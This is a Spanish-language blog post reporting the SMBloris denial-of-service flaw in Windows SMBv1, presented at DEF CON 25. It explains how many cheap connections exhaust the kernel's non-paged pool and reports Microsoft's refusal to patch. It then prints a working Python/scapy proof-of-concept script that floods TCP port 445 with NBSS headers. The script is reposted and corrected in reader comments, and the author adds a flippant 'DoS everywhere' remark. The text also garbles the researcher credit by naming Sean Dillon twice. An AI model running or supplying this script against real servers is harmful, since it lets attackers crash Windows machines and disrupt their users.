PoC de SMBloris, o cómo tirar un servidor Windows con una sóla Raspberry Pi

Una de las "perlas" más esperadas este fin de semana en la Defcon 25 de Las Vegas era la publicación de un exploit para SMBv1 que estaba presente desde hace 20 años en todas las versiones de Windows (hasta Windows 2000) y que permite bloquear/crashear un servidor con tan sólo 20 líneas de código python y una Raspberry Pi . Bautizado SMBloris como Slowloris, su homónimo para servidores web, es capaz de usar de una sola máquina para bloquear o "congelar" un servidor mucho más potente:
 
En la charla de la Defcon fueron capaz de tirar un servidor de 8GBs de RAM en pocos segundos

"De forma similar a Slowloris, requiere abrir muchas conexiones al servidor, pero estas son conexiones de bajo coste para el atacante, por lo que una sola máquina es capaz de realizar el ataque", comenta Sean Dillon (zerosum0x0), el investigador que junto con Sean Dillon (zerosum0x0) encontró hace 2 meses este fallo en el protocolo mientras estudiaban el exploit de EternalBlue.

"Mientras trabajábamos en EternalBlue, observamos un patrón en la forma en que la se hacen las asignaciones de memoria en el pool no paginado del kernel de Windows. El pool no paginado es una memoria que debe reservarse en la RAM física; y no puede ser cambiado", explicó también Dillon. "Ese es el pool más preciado de la memoria en el sistema. Nos dimos cuenta de cómo agotar ese pool, incluso en servidores que son muy robustos, con 128 GB de memoria. Podemos tirarlo abajo con sólo una Raspberry Pi".

Por lo tanto técnicamente hablando, podemos decir que el problema se produce con la acumulación de un búfer de 4 bytes llamado NBSS que se utiliza durante el establecimiento de la sesión SMB y que se asigna en la memoria RAM física y no se pueden intercambiar. Al activar esto, un atacante que inicie una gran cantidad de conexiones al servicio será capaz de agotar los recursos de memoria y después la CPU en el servidor objetivo.

SMBLoris fue reportado de forma privada a Microsoft a principios de junio, pero la compañía consideró que era de un impacto moderado y que no era un problema serio de seguridad. Además, dijeron que como sólo funciona si la máquina de destino tiene SMBv1 expuesto a Internet (TCP/445) no urgía un parche inmediato, incluso comentan que probablemente ni siquiera lo corregirán...

Personalmente no me parece buena idea más aún cuando ya está disponible el código de la PoC...  DoS everywhere en 3,2,1...

from scapy.all import *
import sys

p0 = int(sys.argv[1])

conf.L3socket
conf.L3socket=L3RawSocket

i = IP()
i.dst = "xxx.xxx.xxx.xxx"
t = TCP()
t.dport = 445

for p in range(p0,p0+700):
    print p
    t.sport = p
    t.flags = "S"

    r = sr1(i/t)
    rt = r[TCP]
    t.ack = rt.seq + 1
    t.seq = rt.ack
    t.flags = "A"
    sbss = '\x00\x01\xff\xff'
    send(i/t/sbss)

Demo:

Fuentes:
- Windows SMB Zero Day to Be Disclosed During DEF CON
- SMBLoris - the new SMB flaw
- Microsoft won't patch SMBv1 flaw that only an idiot would expose

3 comentarios :

  1. No sé de dónde salió el código, pero está mal.
    No hay declarados ningún "tc" para el "tc.ack" ni hay declarado un "bss" para enviar al final de todo.
    El último bloque es así:

    r = sr1(i/t)
    rt = r[TCP]
    t.ack = rt.seq + 1
    t.seq = rt.ack
    t.flags = "A"
    sbss = '\x00\x01\xff\xff'
    send(i/t/sbss)

    ResponderEliminar
  2. from scapy.all import *
    import sys

    p0 = int(sys.argv[1])

    conf.L3socket
    conf.L3socket=L3RawSocket

    i = IP()
    i.dst = "xxx.xxx.xxx.xxx"
    t = TCP()
    t.dport = 445

    for p in range(p0,p0+700):
    print p
    t.sport = p
    t.flags = "S"

    r = sr1(i/t)
    rt = r[TCP]
    t.ack = rt.seq + 1
    t.seq = rt.ack
    t.flags = "A"
    sbss = '\x00\x01\xff\xff'
    send(i/t/sbss)

    ResponderEliminar